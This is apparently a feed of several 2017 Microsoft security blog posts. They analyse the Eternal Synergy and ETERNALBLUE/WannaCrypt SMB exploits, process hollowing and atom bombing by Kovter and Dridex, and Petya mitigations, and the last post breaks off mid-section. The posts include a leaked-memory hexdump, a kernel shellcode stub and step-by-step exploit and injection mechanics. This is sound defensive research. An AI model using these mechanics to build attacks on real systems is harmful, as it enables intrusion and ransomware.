In this phase, a TRANSACTION structure is leaked from the victim machine. This structure is used in two ways. First, it contains pointers (e.g. EndpointSpinLock) that serve as the base for discovering other useful addresses. Second, it is used as a Victim#2 transaction, since in order to build a Read primitive the attacker needs the details of a valid TRANSACTION structure. The method used to leak the pointer is similar to the one described in the Eternal Champion exploit.

Below, are the contents of the SMB_COM_TRANSACTION message containing leaked pool memory. The leaked TRANSACTION structure starts at offset 0xb0. We can see that it contains, among other things, the transaction TID, PID, UID and OtherInfo. Also, pointers such as InData (offset 0x130) allow the attacker to determine the base memory address of the transaction.

0000   ff 53 4d 42 a0 00 00 00 00 98 03 c0 00 00 00 00  .SMB............
0010   00 00 00 00 00 00 00 00 00 08 37 ca 00 08 56 15  ..........7...V.
0020   12 00 00 00 04 00 00 00 c0 10 00 00 00 00 00 00  ................
0030   48 00 00 00 04 00 00 00 58 01 00 00 48 00 00 00  H.......X...H...
0040   b8 10 00 00 00 59 01 00 fc 84 36 3a 10 77 98 5a  .....Y....6:.w.Z
0050   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0060   00 01 02 03 46 72 61 67 00 00 00 00 00 00 00 00  ....Frag........
0070   20 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00   Q..............
0080   02 01 01 00 46 72 65 65 00 00 00 00 00 00 00 00  ....Free........
0090   01 01 eb 03 4c 53 74 72 30 a1 07 00 83 fa ff ff  ....LStr0.......
00a0   8c 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00b0   0c 02 8c 0e 00 00 00 00 d0 2d e6 00 83 fa ff ff  .........-......
00c0   90 bb e5 00 83 fa ff ff d0 2d 46 02 a0 f8 ff ff  .........-F.....
00d0   d0 8d 41 02 a0 f8 ff ff 48 00 56 02 a0 f8 ff ff  ..A.....H.V.....
00e0   48 c0 55 02 a0 f8 ff ff 00 00 00 00 00 00 00 00  H.U.............
00f0   00 00 02 00 00 00 00 00 68 b2 57 02 a0 f8 ff ff  ........h.W.....
0100   6d 39 00 00 ff ff ff ff 00 00 00 00 00 00 00 00  m9..............
0110   6c b2 57 02 a0 f8 ff ff 00 00 00 00 00 00 00 00  l.W.............
0120   6c b2 57 02 a0 f8 ff ff fc b2 57 02 a0 f8 ff ff  l.W.......W.....
0130  6c b2 57 02 a0 f8 ff ff fc bf 57 02 a0 f8 ff ff  l.W.......W.....
0140   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0150   00 0d 00 00 00 00 00 00 90 00 00 00 00 00 00 00  ................
0160   00 00 00 00 01 01 00 00 00 00 00 0837 ca 00 08  ............7...
0170   5a 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00  Z...............
0180   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0190   01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

 

Figure 13 - The exploit tries to allocate neighboring control-victim transactions.

 

Figure 14 - Network packets during control-victim transaction allocation.

 

A series of SMB_COM_TRANSACTION messages are sent in order to allocate a pair of neighboring control-victim transactions. Specifically, "groom” packets contain SMB messages crafted to create the packet confusion, or in other words, eligible to be a control transaction. "Bride" packets create transactions that are candidates for corruption, that is, victim transactions.

Figure 15 - The exploit triggers the message type confusion.

 

Figure 16 - Network packets showing the SMB_COM_WRITE_ANDX message that exploits the message type confusion.

 

The exploit takes control of a neighboring victim transaction to be used for the R/W primitives.

Figure 17 - The exploit locates and leaks the srv!SrvTransaction2DispatchTable memory address.

 

The read primitive is exercised multiple times, in order to discover the location of the srv!SrvTransaction2DispatchTable global pointer, used trigger shellcode execution.

 

Figure 18 - The exploit locates and leaks the scratch page.

 

Figure 19 - Network traffic during 3 remote read operations.

 

The read primitive is again exercised multiple times to discover the base of ntoskrnl.exe. The RWX memory found above is used as a scratch page, where shellcode is written and executed and return values are stored. This page exists due to a RWX section in the ntoskrnl.exe. It is worth noting that ntoskrnl.exe on Windows 8.1 and above does not have an RWX section.

kd> ?? 0xfffff802846f4000-0xfffff80284483000
unsigned int64 0x271000
 
kd> !dh nt -s
SECTION HEADER #3
  RWEXEC name
    1000 virtual size
  271000 virtual address
       0 size of raw data
       0 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
E80000A0 flags
         Code
         Uninitialized Data
         Not Paged
         (no align specified)
         Execute Read Write

 

Figure 20 - Final stage of the exploit where payload is copied and executed.

 

Figure 21 - SMB packets during this final stage where both Write and Read primitives are exercised.

 

This is when shellcode is copied and executed on the victim machine. First, using the write primitive, the exploit shellcode is copied to the scratch page. This shellcode is only a stub function that allocates memory in the pool, using nt!ExAllocatePoolWithTag. Then, a SMB_COM_TRANSACTION2 message is sent to execute the shellcode. The return value is saved at a fixed offset on the scratch page and leaked back to the attacker using the Read Primitive. We can see the stub function below:

;
; Retrieve the _KPRCB structure
;
fffff802`846f400 65488b042520000000 mov   rax,qword ptr gs:[20h]

;
; Access the PPNxPagedLookasideList.AllocateEx member
;
fffff802`846f4009 4805b0080000       add     rax,8B0h                                                           
fffff802`846f400f 31c9               xor     ecx,ecx

;
; Set NumberOfBytes (0xe4b) for size argument
;
fffff802`846f4011 8b151e000000       mov     edx,dword ptr [fffff802`846f4035]
fffff802`846f4017 4883ec20           sub     rsp,20h

;
; Call nt!ExAllocatePoolWithTag
;
fffff802`846f401b ff10               call    qword ptr [rax]                                  
fffff802`846f401d 4883c420           add     rsp,20h

;
; Check for errors
;
fffff802`846f4021 85c0               test    eax,eax
fffff802`846f4023 7407               je      fffff802`846f402c

;
; Save the allocated memory address
;
fffff802`846f4025 48890501000000     mov     qword ptr [fffff802`846f402d],rax
fffff802`846f402c c3                 ret

Lastly, the scratch page is cleared, the attacker-provided shellcode is written to the pool-allocated page and a message is sent to trigger execution.

Impact of Mitigations on Exploit

The techniques used in this exploit as-written are not directly applicable to newer platforms due to several kernel security improvements. In particular:

  1. Hypervisor-enforced Code Integrity (HVCI) prevents unsigned kernel pages from being executed, and prevents attackers from copying and executing code, even in the presence of RWX memory.
  2. Control Flow Guard (CFG) prevents invalid indirect function calls, such as calling a corrupted function pointer, a technique used in this exploit to trigger code execution.

Final Words

I’d like to thank the following people for their work during the initial investigation of CVE-2017-0143: Swamy Shivaganga Nagaraju, Nicolas Joly (MSRC Vulnerabilities & Mitigations Team)  and Viktor Brange (Windows Offensive Security Research Team).

 

Georgios Baltas
MSRC Vulnerabilities & Mitigations Team

]]>
https://blogs.technet.microsoft.com/srd/2017/07/13/eternal-synergy-exploit-analysis/feed/0
Detecting stealthier cross-process injection techniques with Windows Defender ATP: Process hollowing and atom bombinghttps://blogs.technet.microsoft.com/mmpc/2017/07/12/detecting-stealthier-cross-process-injection-techniques-with-windows-defender-atp-process-hollowing-and-atom-bombing/Thu, 13 Jul 2017 00:19:07 +0000https://blogs.technet.microsoft.com/mmpc/?p=13905Advanced cyberattacks emphasize stealth and persistence: the longer they stay under the radar, the more they can move laterally, exfiltrate data, and cause damage. To avoid detection, attackers are increasingly turning to cross-process injection.

Cross-process injection gives attackers the ability to run malicious code that masquerades as legitimate programs. With code injection, attackers don’t have to use custom processes that can quickly be detected. Instead, they insert malicious code into common processes (e.g., explorer.exe, regsvr32.exe, svchost.exe, etc.), giving their operations an increased level of stealth and persistence.

Windows Defender Advanced Threat Protection (Windows Defender ATP) uncovers this type of stealth attack, including ones that use newer forms of injection. In Windows 10 Creators Update, we enhanced Windows Defender ATP’s instrumentation and detection of in-memory injection methods like process hollowing and atom bombing.

Windows Defender ATP is a post-breach solution that alerts security operations (SecOps) teams about hostile activity. As the nature of attacks evolve, Windows Defender ATP continues to advance to help SecOps personnel detect and respond effectively to attacks.

This blog post is part of a series of blogs about how Windows Defender ATP detects code injection techniques. We tackle process hollowing and atom bombing attacks to illustrate how Windows Defender ATP detects a broad spectrum of nefarious activity, from commodity malware that attempts to hide from plain sight, to sophisticated activity groups that engage in targeted attacks.

Process hollowing: Hiding code in legitimate processes

Process hollowing is a code injection technique that involves spawning a new instance of a legitimate process and then “hollowing it out”, i.e., replacing the legitimate code with malware. Unlike most injection techniques that add a malicious feature to an otherwise normally running process, the result of hollowing is a process that looks legitimate on the outside but is primarily malicious on the inside.

While there are few known techniques that achieve process hollowing, the most common variant typically follows four steps to achieve stealthy execution of malicious code:

  1. The malware spawns a new instance of a legitimate process (e.g., explorer.exe, lsass.exe, etc.), and places it in a suspended state.
  2. The malware then hollows out the memory section in the new (and still suspended) process that holds the base address of the legitimate code. To do this, the malware uses the NtUnmapViewOfSection routine.
  3. It allocates read-write-execute (RWX) memory in the suspended process to prepare for the replacement malicious code.
  4. The malware then copies malicious code into the allocated memory. It changes the target address of the first thread to the malicious program’s entry point.

When the thread resumes, the malicious code starts running, now disguised as a legitimate process. The malware is then free to delete remnants of itself from disk to avoid detection.

Atom bombing: New cloak of disguise

Atom bombing is one of the most recent code injection techniques observed in attacks. It is a method that can be used by an attacker who has already compromised a machine and who can execute code to perform stealthy code injection into other processes using lesser known APIs.

In this technique, the malware writes malicious code to the global atom table, which can be accessed by all applications. The malware then dispatches an asynchronous procedure call (APC) to the APC queue of a target process thread using the native NtQueueApcThread API. When executed, this APC forces the target process to call the GlobalGetAtomName function, which retrieves the malicious code from the global atom table and inserts the code into the memory of the target process.

Writing malicious code into the memory space of another process without use of WriteProcessMemory is a clever trick, but the malicious code, when transferred via atom table, is not ready to be executed. An extra step is required to achieve the final goal: one more APC call is used to invoke return-oriented-programming (ROP) and convert the code memory region into RWX. Only then does the malicious code run.

Detecting process hollowing and atom bombing with enhanced Windows Defender ATP capabilities

In Windows Defender ATP Creators Update, we have instrumented function calls and built statistical models to detect a broad range of malicious injection techniques used in attacks.

We tested these capabilities against real-world examples of malware that use process hollowing, atom bombing, and other injection methods. In the following sections, we illustrate how Windows Defender ATP uncovers attacks that use code injection to gain stealth and persistence in target networks.

Kovter: Classic process hollowing in action

Kovter is a family of click-fraud Trojans that have been around since 2013 but have recently been observed to associate with ransomware families like Locky. In 2016, we discovered Kovter variants that achieved an almost file-less persistence.

This malware is primarily delivered as attachment in phishing emails. When executed, Kovter hides most of its malicious JavaScript, PowerShell, and shellcode components (all typically obfuscated) across several registry keys. It then uses native applications to combine, decrypt, and execute the code stored in the registry and perform its injection routine.

Kovter achieves persistence by adding shortcuts (.lnk files) to the startup folder or adding entries to the registry key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Both methods open a component file with a random file name extension.

It adds two registry entries to the HKEY_USERS hive so that the component file is opened by the legitimate program mshta.exe, which extracts an obfuscated payload from a third registry key.

When the payload is decrypted, a PowerShell script is extracted and added as a new environmental variable. The PowerShell then executes a script referred to in the environmental variable, which injects shellcode into a target process.

Using the shellcode, Kovter employs the process hollowing technique to inject malicious code into legitimate processes. Through process hollowing, this nearly file-less malware can achieve and maintain a stealthy presence, presenting a challenge to traditional AV solutions.

Windows Defender ATP, using enhanced instrumentation and detection capabilities, exposes the function calls used in this technique. Furthermore, through statistical models, Windows Defender ATP zeroes in on malicious functions required to execute process hollowing.

The screenshot below shows the Windows Defender ATP alert for the process injection routine. It shows mshta.exe being used to launch and execute a malicious PowerShell script (1, 2), as well as the hollowed-out process regsvr32.exe that contain malicious code (3, 4).

Figure 1: Windows Defender ATP detection of Kovter performing process hollowing on regsvr32.exe using mshta.exe

Figure 1: Windows Defender ATP detection of Kovter performing process hollowing on regsvr32.exe using mshta.exe

Dridex: Early adopter of atom bombing

Since its release in 2014, Dridex has been a very prolific and nasty banking Trojan. Delivered primarily by phishing emails, Dridex pilfers banking credentials and sensitive information, disables security products, and gives attackers remote access to victim computers.

Over the years, Dridex’s code has gone through several revisions. With its most recent version, Dridex became one of the earliest adopters of the atom bombing injection technique. It maintains stealth and persistence by avoiding the common API calls that are associated with code injection techniques.

When executed, Dridex looks for an alertable thread for a target process. It then ensures that user32.dll is loaded by the target process. It needs user32.dll to access the required atom table functions. Once this requirement is met, Dridex writes its shellcode to the global atom table.

It then forces the target process to copy the malicious code into memory by adding a series of NtQueueApcThread calls for GlobalGetAtomNameW to the APC queue of the target process thread.

Figure 2: NtQueueApcThread calls to GlobalGetAtomNameW added to the APC queue of the target process.

Figure 2: NtQueueApcThread calls to GlobalGetAtomNameW added to the APC queue of the target process.

Finally, Dridex calls NtProtectVirtualMemory to transform the memory location (where the malicious code now resides) into executable memory. At this point, Dridex can freely execute its code in the context of the legitimate process.

Windows Defender ATP uncovers the use of the atom bombing technique. The screenshot below shows a Windows Defender ATP alert on Dridex that used atom bombing to inject malicious code into the legitimate process svchost.exe.

Figure 3: Windows Defender ATP detection of Dridex performing atom bombing on svchost.exe

Figure 3: Windows Defender ATP detection of Dridex performing atom bombing on svchost.exe

Conclusion: Windows Defender ATP Creators Update exposes covert cyberattacks

Windows 10 continues to elevate defense capabilities against the full range of modern threats. Attackers respond to this by launching more complex attacks that are increasingly sneakier and more persistent. Kovter and Dridex are examples of prominent malware families that evolved to evade detection using code injection techniques. Inevitably, process hollowing, atom bombing, and other advanced techniques will be used by existing and new malware families.

Windows Defender ATP uses rich security data, advanced behavioral analytics, and machine learning to detect the invariant techniques used in attacks. Windows Defender ATP Creators Update has enhanced instrumentation and detection capabilities to better expose covert attacks.

Windows Defender ATP also provides detailed event timelines and other contextual information that SecOps teams can use to understand attacks and quickly respond. The improved functionality in Windows Defender ATP enables them to isolate the victim machine and protect the rest of the network.

For more information about Windows Defender ATP, check out its features and capabilities and read about why a post-breach detection approach is a key component of any enterprise security strategy. Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge.

 

John Lundgren

Windows Defender ATP Research Team

 

Related blog posts

Detecting reflective DLL loading with Windows Defender ATP

Uncovering cross-process injection with Windows Defender ATP

]]>
July 2017 security update releasehttps://blogs.technet.microsoft.com/msrc/2017/07/11/july-2017-security-update-release/https://blogs.technet.microsoft.com/msrc/2017/07/11/july-2017-security-update-release/#respondTue, 11 Jul 2017 17:30:21 +0000https://blogs.technet.microsoft.com/msrc/?p=3095Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice.

More information about this month’s security updates can be found on the Security Update Guide.

MSRC team

]]>
https://blogs.technet.microsoft.com/msrc/2017/07/11/july-2017-security-update-release/feed/0
Exploring the crypt: Analysis of the WannaCrypt ransomware SMB exploit propagationhttps://blogs.technet.microsoft.com/mmpc/2017/06/30/exploring-the-crypt-analysis-of-the-wannacrypt-ransomware-smb-exploit-propagation/https://blogs.technet.microsoft.com/mmpc/2017/06/30/exploring-the-crypt-analysis-of-the-wannacrypt-ransomware-smb-exploit-propagation/#respondFri, 30 Jun 2017 13:00:00 +0000https://blogs.technet.microsoft.com/mmpc/?p=13005(Note: Read our latest comprehensive report on ransomware: Ransomware 1H 2017 review: Global outbreaks reinforce the value of security hygiene.)

 

On May 12, there was a major outbreak of WannaCrypt ransomware. WannaCrypt directly borrowed exploit code from the ETERNALBLUE exploit and the DoublePulsar backdoor module leaked in April by a group calling itself Shadow Brokers.

Using ETERNALBLUE, WannaCrypt propagated as a worm on older platforms, particularly Windows 7 and Windows Server 2008 systems that haven't patched against the SMB1 vulnerability CVE-2017-0145. The resulting ransomware outbreak reached a large number of computers, even though Microsoft released security bulletin MS17-010 to address the vulnerability on March 14, almost two months before the outbreak.

This post—complementary to our earlier post about the ETERNALBLUE and ETERNALROMANCE exploits released by Shadow Brokers—takes us through the WannaCrypt infection routine, providing even more detail about post-exploitation phases. It also describes other existing mitigations as well as new and upcoming mitigation and detection techniques provided by Microsoft to address similar threats.

Infection cycle

The following diagram summarizes the WannaCrypt infection cycle: initial shellcode execution, backdoor implantation and package upload, kernel and userland shellcode execution, and payload launch.

Figure 1. Infection cycle overview

Figure 1. WannaCrypt infection cycle overview

The file mssecsvc.exe contains the main exploit code, which launches a network-level exploit and spawns the ransomware package. The exploit code targets a kernel-space vulnerability and involves multi-stage shellcode in both kernel and userland processes. Once the exploit succeeds, communication between the DoublePulsar backdoor module and mssecsvc.exe is encoded using a pre-shared XOR key, allowing transmission of the main payload package and eventual execution of ransomware code.

Exploit and initial shellcodes

In an earlier blog post, Viktor Brange provided a detailed analysis of the vulnerability trigger and the instruction pointer control mechanism used by ETERNALBLUE. After the code achieves instruction pointer control, it focuses on acquiring persistence in kernel space using kernel shellcode and the DoublePulsar implant. It then executes the ransomware payload in user space.

Heap spray

The exploit code sprays memory on a target computer to lay out space for the first-stage shellcode. It uses non-standard SMB packet segments to make the allocated memory persistent on hardware abstraction layer (HAL) memory space. It sends 18 instances of heap-spraying packets, which have direct binary representations of the first-stage shellcode.

Figure 2. Shellcode heap-spraying packet

Figure 2. Shellcode heap-spraying packet

Initial shellcode execution: first and second stages

The exploit uses a function-pointer overwrite technique to direct control flow to the first-stage shellcode. This shellcode installs a second-stage shellcode as a SYSENTER or SYSCALL routine hook by overwriting model-specific registers (MSRs). If the target system is x86-based, it hooks the SYSENTER routine by overwriting IA32_SYSENTER_EIP. On x64-based systems, it overwrites IA32_LSTAR MSR to hook the SYSCALL routine. More information about these MSRs can be found in Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3C.

Figure 3. First-stage shellcode for x86 systems

Figure 3. First-stage shellcode for x86 systems

Originally, the IA32_SYSENTER_EIP contains the address to nt!KiFastCallEntry as its SYSENTER routine.

Figure 4. Original IA32_SYSENTER_EIP value pointing to KiFastCallEntry

Figure 4. Original IA32_SYSENTER_EIP value pointing to KiFastCallEntry

After modification by the first-stage shellcode, IA32_SYSENTER_EIP now points to the second-stage shellcode.

Figure 5. Modified IA32_SYSENTER_EIP value points to the main shellcode

Figure 5. Modified IA32_SYSENTER_EIP value points to the main shellcode

The first-stage shellcode itself runs in DISPATCH_LEVEL. By running the second-stage shellcode as the SYSENTER routine, the first-stage code guarantees that the second-stage shellcode runs in PASSIVE_LEVEL, giving it access to a broader range of kernel APIs and paged-out memory. And although the second-stage shellcode delivered with this malware actually doesn't access any paged pools or call APIs that require running in PASSIVE_LEVEL, this approach allows attackers to reuse the same module for more complicated shellcode.

Backdoor implantation

The second-stage shellcode, now running on the targeted computer, generates a master XOR key for uploading the payload and other communications. It uses system-specific references, like addresses of certain APIs and structures, to randomize the key.

Figure 6. Master XOR key generation

Figure 6. Master XOR key generation

The second-stage shellcode implants DoublePulsar by patching the SMB1 Transaction2 dispatch table. It overwrites one of the reserved command handlers for the SESSION_SETUP (0xe) subcommand of the Transaction2 request. This subcommand is reserved and not commonly used in regular code.

Figure 7. Copying packet-handler shellcode and overwriting the dispatch table

Figure 7. Copying packet-handler shellcode and overwriting the dispatch table

The following code shows the dispatch table after the subcommand backdoor is installed.

Figure 8. Substitution of 0xe command handler

Figure 8. Substitution of 0xe command handler

Main package upload

To start uploading its main package, WannaCrypt sends multiple ping packets to the target, testing if its server hook has been installed. Remember that the second-stage shellcode runs as a SYSENTER hook—there is a slight delay before it runs and installs the dispatch-table backdoor. The response to the ping packet contains the randomly generated XOR master key to be used for communication between the client and the targeted server.

Figure 9. Code that returns original XOR key

Figure 9. Code that returns original XOR key

This XOR key value is used only after some bit shuffling. The shuffling algorithm basically looks like the following Python code.

Figure 10. XOR bit-shuffling code

Figure 10. XOR bit-shuffling code

The upload of the encoded payload consists of multiple packets as shown below.

Figure 11. SMB Transaction2 packet showing payload upload operation

Figure 11. SMB Transaction2 packet showing payload upload operation

The hooked handler code for the unimplemented subcommand processes the packet bytes, decoding them using the pre-shared XOR key. The picture above shows that the SESSION_SETUP parameter fields are used to indicate the offset and total lengths of payload bytes. The data is 12 bytes long—the first four bytes indicate total length, the next four bytes is reserved, and the last 4 bytes are the current offsets of the payload bytes in little-endian. These fields are encoded with master XOR key.

Because the reserved field is supposed to be 0, the reserved field is actually the same as the master XOR key. Going back to the packet capture above, the reserved field value is 0x38a9dbb6, which is the master XOR key. The total length is encoded as 0x38f9b8be. When this length is XORed with the master XOR key, it is 0x506308, which is the actual length of the payload bytes being uploaded. The last field is 0x38b09bb6. When XORed with the master key, this last field becomes 0, meaning this packet is the first packet of the payload upload.

When all the packets are received, the packet handler in the second-stage shellcode jumps to the start of the decoded bytes.

Figure 12. Decoding and executing shellcode

Figure 12. Decoding and executing shellcode

The transferred and decoded bytes are of size 0x50730c. As a whole, these packet bytes include kernel shellcode, userland shellcode, and the main WannaCrypt PE packages.

Executing the kernel shellcode

The kernel shellcode looks for a kernel image base and resolves essential functions by parsing PE structures. The following figure shows the APIs resolved by the shellcode:

Figure 13. Resolved kernel functions

Figure 13. Resolved kernel functions

It uses ZwAllocateVirtualMemory to allocate a large chunk of RWX memory (0x506d70 in this case). This memory holds the userland shellcode and the main PE packages.

Figure 14. RWX memory allocation through ZwAllocateVirtualMemory

Figure 14. RWX memory allocation through ZwAllocateVirtualMemory

The kernel shellcode goes through processes on the system and injects userland shellcode to the lsass.exe process using an asynchronous procedure call (APC).

Figure 15. APC routines for injecting shellcode to a thread in a userland process

Figure 15. APC routines for injecting shellcode to a thread in a userland process

Userland shellcode—the start of a new infection cycle

After multiple calls to VirtualProtect and PE layout operations, the shellcode loads a bootstrap DLL using a reflective DLL loading method. The WannaCrypt user-mode component contains this bootstrap DLL for both 64- and 32-bit Windows.

Figure 16. Bootstrap DLL functions

Figure 16. Bootstrap DLL functions

This bootstrap DLL reads the main WannaCrypt payload from the resource section and writes it to a file C:\WINDOWS\mssecsvc.exe. It then launches the file using the CreateProcess API. At this stage, a new infection cycle is started on the newly infected computer.

 

Figure 17. Dropping main payload to file system

Figure 17. Dropping main payload to file system

Figure 18. Creating the main payload process

Figure 18. Creating the main payload process

Mitigating and detecting WannaCrypt

WannaCrypt borrowed most of its attack code from those leaked by Shadow Brokers, specifically the ETERNALBLUE kernel exploit code and the DoublePulsar kernel-level backdoor. It leverages DoublePulsar's code execution mechanisms and asynchronous procedure calls (APCs) at the kernel to deliver its main infection package and ransomware payload. It also uses the system file lsass.exe as its injection target.

Mitigation on newer platforms and upcoming SMB updates

The ETERNALBLUE exploit code worked only on older OSes like Windows 7 and Windows Server 2008, particularly those that have not applied security updates released with security bulletin MS17-010. The exploit was limited to these platforms because it depended on executable memory allocated in kernel HAL space. Since Windows 8 and Windows Server 2012, HAL memory has stopped being executable. Also, for additional protection, predictable addresses in HAL memory space have been randomized since Windows 10 Creators Update.

With the upcoming Windows 10 Fall Creators Update (also known as RS3), many dispatch tables in legacy SMB1 drivers, including the Transaction2 dispatch table (SrvTransaction2DispatchTable) memory area, will be set to read-only as a defense-in-depth measure. The backdoor mechanism described here will be much less attractive to attackers because the mechanism will require additional exploit techniques for unlocking the memory area and overwriting function pointers. Furthermore, SMB1 has already been deprecated for years. With the RS3 releases for Windows 10 and Windows Server 2016, SMB1 will be disabled.

Hyper Guard virtualization-based security

WannaCrypt employs multiple techniques to achieve full code execution on target systems. The IA32_SYSENTER_EIP modification technique used by WannaCrypt to run the main shellcode is actually commonly observed when kernel rootkits try to hook system calls. Kernel Patch Protection (or PatchGuard) typically detects this technique by periodically checking for modifications of MSR values. WannaCrypt hooking, however, is too brief for PatchGuard to fire. Windows 10, armed with virtualization-based security (VBS) technologies such as Hyper Guard, can detect and mitigate this technique because it fires as soon as the malicious wrmsr instruction to modify the MSR is executed.

To enable Hyper Guard on systems with supported processors, use Secure Boot and enable Device Guard. Use the hardware readiness tool to check if your hardware system supports Device Guard. Device Guard runs on the Enterprise and Education editions of Windows 10.

Post-breach detection with Windows Defender ATP

In addition to VBS mitigation provided with Hyper Guard, Windows Defender Advanced Threat Protection (Windows Defender ATP) can detect injection of code to userland processes, including the method used by WannaCrypt. Our researchers have also added new detection logic so that Windows Defender ATP flags highly unusual events that involve spawning of processes from lsass.exe.

Figure 19. Windows Defender ATP detection of an anomalous process spawned from a system process

Figure 19. Windows Defender ATP detection of an anomalous process spawned from a system process

While the detection mechanism for process spawning was pushed out in response to WannaCrypt, this mechanism and detection of code injection activities also enable Windows Defender ATP customers to uncover sophisticated breaches that leverage similar attack methods.

Matt Oh
Windows Defender ATP Research Team

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/30/exploring-the-crypt-analysis-of-the-wannacrypt-ransomware-smb-exploit-propagation/feed/0
Windows 10 platform resilience against the Petya ransomware attackhttps://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/https://blogs.technet.microsoft.com/mmpc/2017/06/29/windows-10-platform-resilience-against-the-petya-ransomware-attack/#commentsFri, 30 Jun 2017 05:59:40 +0000https://blogs.technet.microsoft.com/mmpc/?p=13576(Note: Read our latest comprehensive report on ransomware: Ransomware 1H 2017 review: Global outbreaks reinforce the value of security hygiene.)

 

The Petya ransomware attack on June 27, 2017 (which we analyzed in-depth in this blog) may have been perceived as an outbreak worse than last month's WannaCrypt (also known as WannaCry) attack. After all, it uses the same SMB exploit used by WannaCrypt and adds a second exploit and other lateral movement methods. However, our telemetry shows a less widespread attack:

  • The new Petya variant is highly sophisticated malware, but our telemetry shows it had far less reach than we expected given its worm-like spreading capabilities
  • The attack started in Ukraine; when the dust settled, more than 70% of the machines that encountered Petya were in Ukraine
  • It managed to spread to machines in other countries but in significantly lower volumes
  • The majority of infections were observed in Windows 7 machines

In this follow-up blog entry, we’ll discuss platform protection and mitigation in Windows 10 and Windows 10 S. The security configuration and reduced attack surface of Windows 10 S block this attack by default.  As we previously discussed in a white paper, Windows 10 Creators Update has next-gen security technologies that help defend against ransomware attacks.

We will also present new findings from our continued investigation, specifically into the boot sector modification behavior of the ransomware.

Windows 10 protection and mitigation

The new Petya ransomware combines multiple well-known techniques for propagation and infection that are not new to security researchers. The noteworthy aspect is that Petya’s developer(s) took techniques normally used by penetration testers and hackers, and built a sophisticated multi-threaded automation of these techniques inside a single piece of code.

Such attacker techniques are part of the modern threat landscape and are continuously researched by security teams at Microsoft. Resulting new mitigations, hardening or defensive measures are then integrated into our products and operating systems.

Windows 10 follows this philosophy of continuous mitigation improvements. From our analysis of Petya, we were able to measure the defenses provided by Windows 10. Summarized in the diagram below are how mitigations and security features can help disrupt the different stages of this attack.

Petya’s kill-chain diagram with platform defenses able to mitigate or prevent certain techniques in Windows 10

Each mitigation in this diagram is placed on top of the specific malware techniques, which are either fully prevented or mitigated in Windows 10. For an overview and specific details of these mitigations included in Windows 10, see this page. Technical details of how each mitigation can help to block Petya’s techniques are listed below:

  • Device Guard can enforce strong code integrity policies to allow only trusted signed apps to run. It can thus block the entry vector of Petya (an updater running an untrusted binary) and also the further propagation attempts executing an untrusted DLL, either through PSEXEC or WMI.
  • Credential Guard uses virtualization-based security to isolate the LSASS process, so it fully protects from the credential dump executed by Petya using the external Mimikatz-like tool. It also protects the domain credentials stored in the Windows Credential Store. Access tokens exposed in memory can still be leveraged by Petya, but this is a less effective propagation mechanism, and it relies on third-party tools and other processes active in memory while Petya executes.

  • Several exploit mitigations such as better KASLR (randomization of kernel), NX HAL and PAGE POOL (non-executable kernel regions) are included by default in Windows 10 Anniversary and Creators Update, and they help mitigate SMB exploits like EternalBlue and EternalRomance. More mitigations like KCFG (control-flow guard for kernel) and HVCI (kernel code-integrity) are automatically enabled with Device Guard to provide additional resistance also to new exploits. Previous blogs discuss in detail how such mitigations were able to help mitigating unknown zero-day exploits, not effective against Windows 10.
  • UEFI Secure Boot is the security standard that uses hardware features to protect boot process and firmware against tampering. This protection will stop the dangerous disk encryption executed by Petya with a bootloader. After Petya’s forced reboot, a machine with Secure Boot will detect the anomalous bootloader and prevent further execution, containing the damage and preventing the very dangerous encryption of disk sectors leading to a complete loss of data. A machine in this state will be prevented from booting and can be recovered with the regular repair functionality from the Windows USB/DVD media. NOTE: Individual files encrypted by Petya in the limited time before reboot will remain encrypted and must be recovered from backup copies.
  • App Locker can also be used to block execution of certain programs (e.g. PSEXEC) or unsigned binaries (e.g. Petya’s DLL library) for machines that cannot benefit from Device Guard due to lack of the specific hardware requirements or due to older operating systems not supporting new mitigations (e.g. Windows 7).

Finally, administrators of networks with older operating systems like Windows 7 which do not benefit of modern hardware and software mitigations, may consider deploying some hardened configurations that could help to slow down or remove certain lateral movement techniques. Such hardened configurations may impact legitimate functionality such as file-sharing or remote management and so it needs to be evaluated carefully before deployment.

  • Block or restrict access to specific IPs for file-sharing services (SMB)

netsh firewall set service fileandprint

netsh firewall set service RemoteAdmin disable

  • Block remote execution through PSEXEC

FOR /F "usebackq tokens=2 delims=:" %a IN (`sc.exe sdshow scmanager`) DO  sc.exe sdset scmanager D:(D;;0x00040002;;;NU)%a

Limited execution time

The impact of Petya’s worm behavior is limited by its design. As part of its execution command, it receives a time that it can run performing lateral movement and exploitation before rebooting the system.

If an argument is not passed, a default of 60mins is assumed. This value is later used to determine the time in the future for the system to reboot.

This means that the threat can only do lateral movement and exploitation of other machines during this limited time. This reduced the reach of the attack, as observed in our telemetry.

Also, the malware’s worm code does not persist across reboot; for example, if an infected machine is successfully rebooted, the worm does not run again.

Conditional behavior and boot sector modification

As discussed in our in-depth analysis of the Petya ransomware attack, beyond encrypting files, the ransomware also attempts to infect the Master Boot Record (MBR).

In addition to modifying the MBR, the malware modifies the second sector of the C: partition by overwriting it with uninitialized buffer, effectively destroying the Volume Boot Record (VBR) for that partition. The screenshot below shows the code that makes these changes:

It is not clear what the purpose of these modifications are, but the code appears to be buggy – it allocates 10 times the amount of memory it requires. In most modern machines, the VBR on the C: partition is not used for booting as there is a separate partition for the boot manager. Generally, for machines running Windows 7 or later that weren’t upgraded from XP, the malware’s VBR changes are unlikely to have any impact.

During malware initialization phase, this malware maintains a global variable that dictates its behavior. It alters its behavior based on the presence of processes related to certain antivirus applications running in the system.

